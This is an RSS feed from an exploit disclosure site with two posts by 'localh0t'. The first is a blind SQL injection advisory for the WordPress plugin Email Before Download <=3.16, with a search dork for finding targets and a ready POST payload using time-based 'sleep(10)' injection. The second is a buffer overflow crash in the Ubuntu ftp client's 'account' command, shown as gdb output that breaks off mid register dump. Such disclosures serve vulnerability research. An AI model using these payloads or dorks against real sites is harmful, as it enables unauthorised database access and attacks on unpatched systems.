<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Exploit-ID &#187; localh0t</title>
	<atom:link href="http://www.exploit-id.com/authors/localh0t/feed" rel="self" type="application/rss+xml" />
	<link>http://www.exploit-id.com</link>
	<description>Exploit Information Disclosure</description>
	<lastBuildDate>Tue, 30 Apr 2013 03:02:28 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=162</generator>
		<item>
		<title>WordPress Plugin Email Before Download </title>
		<link>http://www.exploit-id.com/web-applications/wordpress-plugin-email-before-download</link>
		<comments>http://www.exploit-id.com/web-applications/wordpress-plugin-email-before-download#comments</comments>
		<pubDate>Fri, 13 Apr 2012 10:29:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web Applications]]></category>
		<category><![CDATA[localh0t]]></category>

		<guid isPermaLink="false">http://exploit-id.com/?p=8185</guid>
		<description><![CDATA[?View Code PHP# Wordpress Plugin: Email Before Download &#60;=3.16 Remote Blind SQL Inyection # Dork: allinurl: plugins/email-before-download # Download: https://wordpress.org/extend/plugins/email-before-download/ # Date: 13/04/12 # Contact: mattdch0@gmail.com # Follow: @mattdch # www.localh0t.com.ar &#160; The variable $download_id is not properly sanitized with $wpdb-&#62;escape&#40;&#41; before using it. &#160; On line 120 &#40;File: /email-before-download/email-before-download.php&#41; we can see that: ===================================================================================== [...]]]></description>
			<content:encoded><![CDATA[
<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p8185code2'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p81852"><td class="code" id="p8185code2"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># Wordpress Plugin: Email Before Download &lt;=3.16 Remote Blind SQL Inyection
</span><span style="color: #666666; font-style: italic;"># Dork: allinurl: plugins/email-before-download
</span><span style="color: #666666; font-style: italic;"># Download: https://wordpress.org/extend/plugins/email-before-download/
</span><span style="color: #666666; font-style: italic;"># Date: 13/04/12
</span><span style="color: #666666; font-style: italic;"># Contact: mattdch0@gmail.com
</span><span style="color: #666666; font-style: italic;"># Follow: @mattdch
</span><span style="color: #666666; font-style: italic;"># www.localh0t.com.ar
</span> 
&nbsp;
The variable <span style="color: #000088;">$download_id</span> is not properly sanitized with <span style="color: #000088;">$wpdb</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">escape</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> before using it<span style="color: #339933;">.</span>
&nbsp;
On line <span style="color: #cc66cc;">120</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/file"><span style="color: #990000;">File</span></a><span style="color: #339933;">:</span> <span style="color: #339933;">/</span>email<span style="color: #339933;">-</span>before<span style="color: #339933;">-</span>download<span style="color: #339933;">/</span>email<span style="color: #339933;">-</span>before<span style="color: #339933;">-</span>download<span style="color: #339933;">.</span>php<span style="color: #009900;">&#41;</span> we can see that<span style="color: #339933;">:</span>
<span style="color: #339933;">=====================================================================================</span>
&nbsp;
	<span style="color: #cc66cc;">120</span><span style="color: #339933;">:</span> <span style="color: #000088;">$ebd_item</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$wpdb</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">get_row</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">&quot;SELECT * FROM <span style="color: #006699; font-weight: bold;">$table_item</span>  WHERE download_id = '<span style="color: #006699; font-weight: bold;">$download_id</span>' &quot;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
In the HTML generated<span style="color: #339933;">,</span> we can see that <span style="color: #000088;">$download_id</span> takes the <span style="color: #000088;">$_POST</span> value variable <span style="color: #0000ff;">&quot;_wpcf7_download_id&quot;</span> <span style="color: #339933;">:</span>
&nbsp;
 	<span style="color: #cc66cc;">201</span><span style="color: #339933;">:</span> <span style="color: #000088;">$hf</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">'&lt;input type=&quot;hidden&quot; name=&quot;_wpcf7_download_id&quot; value=&quot;'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$download_id</span><span style="color: #339933;">.</span> <span style="color: #0000ff;">'&quot; /&gt;&lt;/form&gt;'</span><span style="color: #339933;">;</span>
&nbsp;
PoC<span style="color: #339933;">:</span>
<span style="color: #339933;">====</span>
&nbsp;
	POST http<span style="color: #339933;">:</span><span style="color: #666666; font-style: italic;">//website.com/?tag=some-post-with-contact-form</span>
&nbsp;
	Data<span style="color: #339933;">:</span>
	<span style="color: #339933;">=====</span>
	_wpcf7<span style="color: #339933;">=</span><span style="color: #cc66cc;">135</span><span style="color: #339933;">&amp;</span>_wpcf7_download_id<span style="color: #339933;">=</span><span style="color: #cc66cc;">6</span> <span style="color: #009900;">&#91;</span>SQL HERE<span style="color: #009900;">&#93;</span><span style="color: #339933;">&amp;</span>_wpcf7_unit_tag<span style="color: #339933;">=</span>wpcf7<span style="color: #339933;">-</span>f105<span style="color: #339933;">-</span>p1635<span style="color: #339933;">-</span>o1<span style="color: #339933;">&amp;</span>_wpcf7_version<span style="color: #339933;">=</span>3<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>1<span style="color: #339933;">&amp;</span>your<span style="color: #339933;">-</span>email<span style="color: #339933;">=</span>email<span style="color: #339933;">@</span>sample<span style="color: #339933;">.</span>com<span style="color: #339933;">&amp;</span>your<span style="color: #339933;">-</span>enterprise<span style="color: #339933;">=</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">&amp;</span>your<span style="color: #339933;">-</span>name<span style="color: #339933;">=</span>test
&nbsp;
		Example<span style="color: #339933;">:</span>
		<span style="color: #339933;">========</span>
		_wpcf7<span style="color: #339933;">=</span><span style="color: #cc66cc;">135</span><span style="color: #339933;">&amp;</span>_wpcf7_download_id<span style="color: #339933;">=</span><span style="color: #cc66cc;">6</span> and <a href="http://www.php.net/sleep"><span style="color: #990000;">sleep</span></a><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">10</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span>_wpcf7_unit_tag<span style="color: #339933;">=</span>wpcf7<span style="color: #339933;">-</span>f105<span style="color: #339933;">-</span>p1635<span style="color: #339933;">-</span>o1<span style="color: #339933;">&amp;</span>_wpcf7_version<span style="color: #339933;">=</span>3<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>1<span style="color: #339933;">&amp;</span>your<span style="color: #339933;">-</span>email<span style="color: #339933;">=</span>email<span style="color: #339933;">@</span>sample<span style="color: #339933;">.</span>com<span style="color: #339933;">&amp;</span>your<span style="color: #339933;">-</span>enterprise<span style="color: #339933;">=</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">&amp;</span>your<span style="color: #339933;">-</span>name<span style="color: #339933;">=</span>test
&nbsp;
<span style="color: #009900;">&#40;</span>POST variables names may vary<span style="color: #009900;">&#41;</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.exploit-id.com/web-applications/wordpress-plugin-email-before-download/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ubuntu </title>
		<link>http://www.exploit-id.com/dospoc/ubuntu</link>
		<comments>http://www.exploit-id.com/dospoc/ubuntu#comments</comments>
		<pubDate>Fri, 09 Sep 2011 04:07:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[DoS/PoC]]></category>
		<category><![CDATA[localh0t]]></category>

		<guid isPermaLink="false">http://www.exploit-id.com/?p=6171</guid>
		<description><![CDATA[?View Code LINUXUbuntu 11 (and below) ftp client seems to crash when passing large arguments to the &#34;account&#34; command, while a connection is made to any ftp server. Example: &#160; Ubuntu 11.04 x86: ================= &#160; (gdb) run 10.0.0.8 Starting program: /usr/bin/ftp 10.0.0.8 Connected to 10.0.0.8. 220 debianita FTP server ready. Name (10.0.0.8:kron0): anonymous 331 Guest [...]]]></description>
			<content:encoded><![CDATA[
<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p6171code4'); return false;">View Code</a> LINUX</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p61714"><td class="code" id="p6171code4"><pre class="linux" style="font-family:monospace;">Ubuntu 11 (and below) ftp client seems to crash when passing large arguments to the &quot;account&quot; command, while a connection is made to any ftp server. Example:
&nbsp;
Ubuntu 11.04 x86:
=================
&nbsp;
(gdb) run 10.0.0.8
Starting program: /usr/bin/ftp 10.0.0.8
Connected to 10.0.0.8.
220 debianita FTP server ready.
Name (10.0.0.8:kron0): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password:
230-Welcome, archive user ftp@10.0.0.9 !
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp&gt; account AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** buffer overflow detected ***: /usr/bin/ftp terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x50)[0x27fdf0]
/lib/i386-linux-gnu/libc.so.6(+0xe4cca)[0x27ecca]
/lib/i386-linux-gnu/libc.so.6(+0xe41ed)[0x27e1ed]
/usr/bin/ftp[0x804b5e2]
/usr/bin/ftp[0x8055ead]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xe7)[0x1b0e37]
/usr/bin/ftp[0x8049d61]
======= Memory map: ========
00110000-0012c000 r-xp 00000000 08:01 525108     /lib/i386-linux-gnu/ld-2.13.so
0012c000-0012d000 r--p 0001b000 08:01 525108     /lib/i386-linux-gnu/ld-2.13.so
0012d000-0012e000 rw-p 0001c000 08:01 525108     /lib/i386-linux-gnu/ld-2.13.so
0012e000-0012f000 r-xp 00000000 00:00 0          [vdso]
0012f000-0015d000 r-xp 00000000 08:01 524378     /lib/libreadline.so.6.2
0015d000-0015e000 r--p 0002e000 08:01 524378     /lib/libreadline.so.6.2
0015e000-00161000 rw-p 0002f000 08:01 524378     /lib/libreadline.so.6.2
00161000-00162000 rw-p 00000000 00:00 0
00162000-00196000 r-xp 00000000 08:01 524347     /lib/libncurses.so.5.7
00196000-00197000 ---p 00034000 08:01 524347     /lib/libncurses.so.5.7
00197000-00199000 r--p 00034000 08:01 524347     /lib/libncurses.so.5.7
00199000-0019a000 rw-p 00036000 08:01 524347     /lib/libncurses.so.5.7
0019a000-002f4000 r-xp 00000000 08:01 525121     /lib/i386-linux-gnu/libc-2.13.so
002f4000-002f5000 ---p 0015a000 08:01 525121     /lib/i386-linux-gnu/libc-2.13.so
002f5000-002f7000 r--p 0015a000 08:01 525121     /lib/i386-linux-gnu/libc-2.13.so
002f7000-002f8000 rw-p 0015c000 08:01 525121     /lib/i386-linux-gnu/libc-2.13.so
002f8000-002fb000 rw-p 00000000 00:00 0
002fb000-002fd000 r-xp 00000000 08:01 525131     /lib/i386-linux-gnu/libdl-2.13.so
002fd000-002fe000 r--p 00001000 08:01 525131     /lib/i386-linux-gnu/libdl-2.13.so
002fe000-002ff000 rw-p 00002000 08:01 525131     /lib/i386-linux-gnu/libdl-2.13.so
002ff000-00309000 r-xp 00000000 08:01 525167     /lib/i386-linux-gnu/libnss_files-2.13.so
00309000-0030a000 r--p 00009000 08:01 525167     /lib/i386-linux-gnu/libnss_files-2.13.so
0030a000-0030b000 rw-p 0000a000 08:01 525167     /lib/i386-linux-gnu/libnss_files-2.13.so
0030b000-00311000 r-xp 00000000 08:01 525163     /lib/i386-linux-gnu/libnss_compat-2.13.so
00311000-00312000 r--p 00005000 08:01 525163     /lib/i386-linux-gnu/libnss_compat-2.13.so
00312000-00313000 rw-p 00006000 08:01 525163     /lib/i386-linux-gnu/libnss_compat-2.13.so
00313000-00326000 r-xp 00000000 08:01 525161     /lib/i386-linux-gnu/libnsl-2.13.so
00326000-00327000 r--p 00012000 08:01 525161     /lib/i386-linux-gnu/libnsl-2.13.so
00327000-00328000 rw-p 00013000 08:01 525161     /lib/i386-linux-gnu/libnsl-2.13.so
00328000-0032a000 rw-p 00000000 00:00 0
0032a000-00333000 r-xp 00000000 08:01 525171     /lib/i386-linux-gnu/libnss_nis-2.13.so
00333000-00334000 r--p 00008000 08:01 525171     /lib/i386-linux-gnu/libnss_nis-2.13.so
00334000-00335000 rw-p 00009000 08:01 525171     /lib/i386-linux-gnu/libnss_nis-2.13.so
00335000-0034f000 r-xp 00000000 08:01 525149     /lib/i386-linux-gnu/libgcc_s.so.1
0034f000-00350000 r--p 00019000 08:01 525149     /lib/i386-linux-gnu/libgcc_s.so.1
00350000-00351000 rw-p 0001a000 08:01 525149     /lib/i386-linux-gnu/libgcc_s.so.1
08048000-08059000 r-xp 00000000 08:01 1573707    /usr/bin/netkit-ftp
08059000-0805a000 r--p 00011000 08:01 1573707    /usr/bin/netkit-ftp
0805a000-0805b000 rw-p 00012000 08:01 1573707    /usr/bin/netkit-ftp
0805b000-080ab000 rw-p 00000000 00:00 0          [heap]
b7dee000-b7fee000 r--p 00000000 08:01 1581098    /usr/lib/locale/locale-archive
b7fee000-b7ff0000 rw-p 00000000 00:00 0
b7ff9000-b7ffa000 r--p 002a1000 08:01 1581098    /usr/lib/locale/locale-archive
b7ffa000-b8000000 rw-p 00000000 00:00 0
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
&nbsp;
Program received signal SIGABRT, Aborted.
0x0012e416 in __kernel_vsyscall ()
(gdb) i r
eax            0x0    0
ecx            0xc8e    3214
edx            0x6    6
ebx            0xc8e    3214
esp            0xbfffdde4    0xbfffdde4
ebp            0xbfffddf0    0xbfffddf0
esi            0x0    0
edi            0x2f6ff4    3108852
eip            0x12e416    0x12e416 &lt;__kernel_vsyscall+2&gt;
eflags         0x246    [ PF ZF IF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51
(gdb)
&nbsp;
============================================================================================================================================================
&nbsp;
Ubuntu 11.04 x64 and Backtrack 5 R1 (which is based in Ubuntu) crash, too:
==========================================================================
&nbsp;
Ubuntu 11.04 x64:
=================
&nbsp;
$ gdb /usr/bin/ftp
GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type &quot;show copying&quot;
and &quot;show warranty&quot; for details.
This GDB was configured as &quot;x86_64-linux-gnu&quot;.
Para las instrucciones de informe de errores, vea:
&lt;http://www.gnu.org/software/gdb/bugs/&gt;...
Leyendo símbolos desde /usr/bin/ftp...(no se encontraron símbolos de depuración)hecho.
(gdb) run 10.0.0.8
Starting program: /usr/bin/ftp 10.0.0.8
Connected to 10.0.0.8.
220 debianita FTP server ready.
Name (10.0.0.8:kron0): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password:
230-Welcome, archive user ftp@10.0.0.5 !
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp&gt; account AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** buffer overflow detected ***: /usr/bin/ftp terminated
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x37)[0x7ffff76c01d7]
/lib/x86_64-linux-gnu/libc.so.6(+0xfd0f0)[0x7ffff76bf0f0]
/lib/x86_64-linux-gnu/libc.so.6(+0xfc264)[0x7ffff76be264]
/usr/bin/ftp[0x404039]
/usr/bin/ftp[0x40ec18]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xff)[0x7ffff75e0eff]
/usr/bin/ftp[0x402889]
======= Memory map: ========
00400000-00414000 r-xp 00000000 08:03 262461                             /usr/bin/netkit-ftp
00613000-00614000 r--p 00013000 08:03 262461                             /usr/bin/netkit-ftp
00614000-00616000 rw-p 00014000 08:03 262461                             /usr/bin/netkit-ftp
00616000-00687000 rw-p 00000000 00:00 0                                  [heap]
7ffff62e2000-7ffff62f7000 r-xp 00000000 08:03 1442972                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff62f7000-7ffff64f6000 ---p 00015000 08:03 1442972                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff64f6000-7ffff64f7000 r--p 00014000 08:03 1442972                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff64f7000-7ffff64f8000 rw-p 00015000 08:03 1442972                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff64f8000-7ffff6b82000 r--p 00000000 08:03 269561                     /usr/lib/locale/locale-archive
7ffff6b82000-7ffff6b8d000 r-xp 00000000 08:03 1442994                    /lib/x86_64-linux-gnu/libnss_nis-2.13.so
7ffff6b8d000-7ffff6d8c000 ---p 0000b000 08:03 1442994                    /lib/x86_64-linux-gnu/libnss_nis-2.13.so
7ffff6d8c000-7ffff6d8d000 r--p 0000a000 08:03 1442994                    /lib/x86_64-linux-gnu/libnss_nis-2.13.so
7ffff6d8d000-7ffff6d8e000 rw-p 0000b000 08:03 1442994                    /lib/x86_64-linux-gnu/libnss_nis-2.13.so
7ffff6d8e000-7ffff6da5000 r-xp 00000000 08:03 1442984                    /lib/x86_64-linux-gnu/libnsl-2.13.so
7ffff6da5000-7ffff6fa4000 ---p 00017000 08:03 1442984                    /lib/x86_64-linux-gnu/libnsl-2.13.so
7ffff6fa4000-7ffff6fa5000 r--p 00016000 08:03 1442984                    /lib/x86_64-linux-gnu/libnsl-2.13.so
7ffff6fa5000-7ffff6fa6000 rw-p 00017000 08:03 1442984                    /lib/x86_64-linux-gnu/libnsl-2.13.so
7ffff6fa6000-7ffff6fa8000 rw-p 00000000 00:00 0
7ffff6fa8000-7ffff6fb0000 r-xp 00000000 08:03 1442986                    /lib/x86_64-linux-gnu/libnss_compat-2.13.so
7ffff6fb0000-7ffff71af000 ---p 00008000 08:03 1442986                    /lib/x86_64-linux-gnu/libnss_compat-2.13.so
7ffff71af000-7ffff71b0000 r--p 00007000 08:03 1442986                    /lib/x86_64-linux-gnu/libnss_compat-2.13.so
7ffff71b0000-7ffff71b1000 rw-p 00008000 08:03 1442986                    /lib/x86_64-linux-gnu/libnss_compat-2.13.so
7ffff71b1000-7ffff71bd000 r-xp 00000000 08:03 1442990                    /lib/x86_64-linux-gnu/libnss_files-2.13.so
7ffff71bd000-7ffff73bc000 ---p 0000c000 08:03 1442990                    /lib/x86_64-linux-gnu/libnss_files-2.13.so
7ffff73bc000-7ffff73bd000 r--p 0000b000 08:03 1442990                    /lib/x86_64-linux-gnu/libnss_files-2.13.so
7ffff73bd000-7ffff73be000 rw-p 0000c000 08:03 1442990                    /lib/x86_64-linux-gnu/libnss_files-2.13.so
7ffff73be000-7ffff73c0000 r-xp 00000000 08:03 1442954                    /lib/x86_64-linux-gnu/libdl-2.13.so
7ffff73c0000-7ffff75c0000 ---p 00002000 08:03 1442954                    /lib/x86_64-linux-gnu/libdl-2.13.so
7ffff75c0000-7ffff75c1000 r--p 00002000 08:03 1442954                    /lib/x86_64-linux-gnu/libdl-2.13.so
7ffff75c1000-7ffff75c2000 rw-p 00003000 08:03 1442954                    /lib/x86_64-linux-gnu/libdl-2.13.so
7ffff75c2000-7ffff774c000 r-xp 00000000 08:03 1442944                    /lib/x86_64-linux-gnu/libc-2.13.so
7ffff774c000-7ffff794b000 ---p 0018a000 08:03 1442944                    /lib/x86_64-linux-gnu/libc-2.13.so
7ffff794b000-7ffff794f000 r--p 00189000 08:03 1442944                    /lib/x86_64-linux-gnu/libc-2.13.so
7ffff794f000-7ffff7950000 rw-p 0018d000 08:03 1442944                    /lib/x86_64-linux-gnu/libc-2.13.so
7ffff7950000-7ffff7956000 rw-p 00000000 00:00 0
7ffff7956000-7ffff7996000 r-xp 00000000 08:03 1439035                    /lib/libncurses.so.5.7
7ffff7996000-7ffff7b95000 ---p 00040000 08:03 1439035                    /lib/libncurses.so.5.7
7ffff7b95000-7ffff7b99000 r--p 0003f000 08:03 1439035                    /lib/libncurses.so.5.7
7ffff7b99000-7ffff7b9a000 rw-p 00043000 08:03 1439035                    /lib/libncurses.so.5.7
7ffff7b9a000-7ffff7bd3000 r-xp 00000000 08:03 1439066                    /lib/libreadline.so.6.2
7ffff7bd3000-7ffff7dd3000 ---p 00039000 08:03 1439066                    /lib/libreadline.so.6.2
7ffff7dd3000-7ffff7dd5000 r--p 00039000 08:03 1439066                    /lib/libreadline.so.6.2
7ffff7dd5000-7ffff7ddb000 rw-p 0003b000 08:03 1439066                    /lib/libreadline.so.6.2
7ffff7ddb000-7ffff7ddc000 rw-p 00000000 00:00 0
7ffff7ddc000-7ffff7dfd000 r-xp 00000000 08:03 1442931                    /lib/x86_64-linux-gnu/ld-2.13.so
7ffff7fcf000-7ffff7fd3000 rw-p 00000000 00:00 0
7ffff7ff5000-7ffff7ffb000 rw-p 00000000 00:00 0
7ffff7ffb000-7ffff7ffc000 r-xp 00000000 00:00 0                          [vdso]
7ffff7ffc000-7ffff7ffd000 r--p 00020000 08:03 1442931                    /lib/x86_64-linux-gnu/ld-2.13.so
7ffff7ffd000-7ffff7fff000 rw-p 00021000 08:03 1442931                    /lib/x86_64-linux-gnu/ld-2.13.so
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0                          [stack]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
&nbsp;
Program received signal SIGABRT, Aborted.
0x00007ffff75f5d05 in raise (sig=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:64
64    ../nptl/sysdeps/unix/sysv/linux/raise.c: No existe el fichero o el directorio.
    in ../nptl/sysdeps/unix/sysv/linux/raise.c
(gdb) i r
rax            0x0    0
rbx            0x0    0
rcx            0xffffffffffffffff    -1
rdx            0x6    6
rsi            0x5dea    24042
rdi            0x5dea    24042
rbp            0x7fffffffcfd0    0x7fffffffcfd0
rsp            0x7fffffffc608    0x7fffffffc608
r8             0x7ffff770d8c0    140737344755904
r9             0x400660    4195936
r10            0x8    8
r11            0x246    582
r12            0x9    9
r13            0x3a    58
r14            0x3a    58
r15            0x5    5
rip            0x7ffff75f5d05    0x7ffff75f5d05 &lt;raise+53&gt;
eflags         0x246    [ PF ZF IF ]
cs             0x33    51
ss             0x2b    43
ds             0x0    0
es             0x0    0
fs             0x0    0
gs             0x0    0
(gdb)
&nbsp;
============================================================================================================================================================
&nbsp;
Backtrack 5 R1:
===============
&nbsp;
(gdb) run 10.0.0.8
Starting program: /usr/bin/ftp 10.0.0.8
Connected to 10.0.0.8.
220 debianita FTP server ready.
Name (10.0.0.8:root): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password:
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp&gt; account AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** buffer overflow detected ***: /usr/bin/ftp terminated
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x50)[0xb7eea390]
/lib/tls/i686/cmov/libc.so.6(+0xe12ca)[0xb7ee92ca]
/lib/tls/i686/cmov/libc.so.6(+0xe07de)[0xb7ee87de]
/usr/bin/ftp[0x804b57c]
/usr/bin/ftp[0x8055abd]
/lib/tls/i686/cmov/libc.so.6(__libc_start_main+0xe6)[0xb7e1ebd6]
/usr/bin/ftp[0x8049cb1]
======= Memory map: ========
08048000-08059000 r-xp 00000000 08:01 153580     /usr/bin/netkit-ftp
08059000-0805a000 r--p 00010000 08:01 153580     /usr/bin/netkit-ftp
0805a000-0805b000 rw-p 00011000 08:01 153580     /usr/bin/netkit-ftp
0805b000-0808a000 rw-p 00000000 00:00 0          [heap]
b7d58000-b7d75000 r-xp 00000000 08:01 1180       /lib/libgcc_s.so.1
b7d75000-b7d76000 r--p 0001c000 08:01 1180       /lib/libgcc_s.so.1
b7d76000-b7d77000 rw-p 0001d000 08:01 1180       /lib/libgcc_s.so.1
b7d88000-b7d8f000 r--s 00000000 08:01 159757     /usr/lib/gconv/gconv-modules.cache
b7d8f000-b7dce000 r--p 00000000 08:01 161313     /usr/lib/locale/en_US.utf8/LC_CTYPE
b7dce000-b7dd6000 r-xp 00000000 08:01 5501       /lib/tls/i686/cmov/libnss_nis-2.11.1.so
b7dd6000-b7dd7000 r--p 00007000 08:01 5501       /lib/tls/i686/cmov/libnss_nis-2.11.1.so
b7dd7000-b7dd8000 rw-p 00008000 08:01 5501       /lib/tls/i686/cmov/libnss_nis-2.11.1.so
b7dd8000-b7deb000 r-xp 00000000 08:01 5491       /lib/tls/i686/cmov/libnsl-2.11.1.so
b7deb000-b7dec000 r--p 00012000 08:01 5491       /lib/tls/i686/cmov/libnsl-2.11.1.so
b7dec000-b7ded000 rw-p 00013000 08:01 5491       /lib/tls/i686/cmov/libnsl-2.11.1.so
b7ded000-b7def000 rw-p 00000000 00:00 0
b7def000-b7df5000 r-xp 00000000 08:01 5493       /lib/tls/i686/cmov/libnss_compat-2.11.1.so
b7df5000-b7df6000 r--p 00006000 08:01 5493       /lib/tls/i686/cmov/libnss_compat-2.11.1.so
b7df6000-b7df7000 rw-p 00007000 08:01 5493       /lib/tls/i686/cmov/libnss_compat-2.11.1.so
b7df7000-b7e01000 r-xp 00000000 08:01 5497       /lib/tls/i686/cmov/libnss_files-2.11.1.so
b7e01000-b7e02000 r--p 00009000 08:01 5497       /lib/tls/i686/cmov/libnss_files-2.11.1.so
b7e02000-b7e03000 rw-p 0000a000 08:01 5497       /lib/tls/i686/cmov/libnss_files-2.11.1.so
b7e03000-b7e04000 rw-p 00000000 00:00 0
b7e04000-b7e06000 r-xp 00000000 08:01 5486       /lib/tls/i686/cmov/libdl-2.11.1.so
b7e06000-b7e07000 r--p 00001000 08:01 5486       /lib/tls/i686/cmov/libdl-2.11.1.so
b7e07000-b7e08000 rw-p 00002000 08:01 5486       /lib/tls/i686/cmov/libdl-2.11.1.so
b7e08000-b7f5b000 r-xp 00000000 08:01 5480       /lib/tls/i686/cmov/libc-2.11.1.so
b7f5b000-b7f5c000 ---p 00153000 08:01 5480       /lib/tls/i686/cmov/libc-2.11.1.so
b7f5c000-b7f5e000 r--p 00153000 08:01 5480       /lib/tls/i686/cmov/libc-2.11.1.so
b7f5e000-b7f5f000 rw-p 00155000 08:01 5480       /lib/tls/i686/cmov/libc-2.11.1.so
b7f5f000-b7f63000 rw-p 00000000 00:00 0
b7f63000-b7f97000 r-xp 00000000 08:01 1200       /lib/libncurses.so.5.7
b7f97000-b7f98000 ---p 00034000 08:01 1200       /lib/libncurses.so.5.7
b7f98000-b7f9a000 r--p 00034000 08:01 1200       /lib/libncurses.so.5.7
b7f9a000-b7f9b000 rw-p 00036000 08:01 1200       /lib/libncurses.so.5.7
b7f9b000-b7fca000 r-xp 00000000 08:01 1267       /lib/libreadline.so.6.1
b7fca000-b7fcb000 r--p 0002e000 08:01 1267       /lib/libreadline.so.6.1
b7fcb000-b7fce000 rw-p 0002f000 08:01 1267       /lib/libreadline.so.6.1
b7fce000-b7fcf000 rw-p 00000000 00:00 0
b7fdc000-b7fe2000 rw-p 00000000 00:00 0
b7fe2000-b7fe3000 r-xp 00000000 00:00 0          [vdso]
b7fe3000-b7ffe000 r-xp 00000000 08:01 1123       /lib/ld-2.11.1.so
b7ffe000-b7fff000 r--p 0001a000 08:01 1123       /lib/ld-2.11.1.so
b7fff000-b8000000 rw-p 0001b000 08:01 1123       /lib/ld-2.11.1.so
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
&nbsp;
Program received signal SIGABRT, Aborted.
0xb7fe2422 in __kernel_vsyscall ()
(gdb) i r
eax            0x0    0
ecx            0x659    1625
